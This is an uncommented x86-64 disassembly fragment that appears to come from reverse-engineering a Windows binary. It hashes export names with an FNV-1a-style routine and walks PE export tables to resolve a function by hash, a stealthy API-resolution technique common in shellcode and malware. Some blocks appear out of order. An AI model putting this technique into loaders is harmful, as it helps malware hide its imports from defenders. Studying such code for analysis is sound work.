mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0xff6694c3
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x7ff77f2e99d0
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x7ff77f2e99a0
cmp r9d, 0x12f2d146
je 0x7ff77f2e9a3c
test r10d, r10d
jne 0x7ff77f2e9980
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x7ff77f2e99eb
cmp qword [rax + 0x30], 0
jne 0x7ff77f2e9950
xor eax, eax
mov qword [0x7ff77f37bf08], rax
mov ecx, 0x7d0
call rax
xor eax, eax
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.7ff77f355090
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, dword [rsi + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rcx + rdx*4]
add rax, r11
jmp 0x7ff77f2e99ed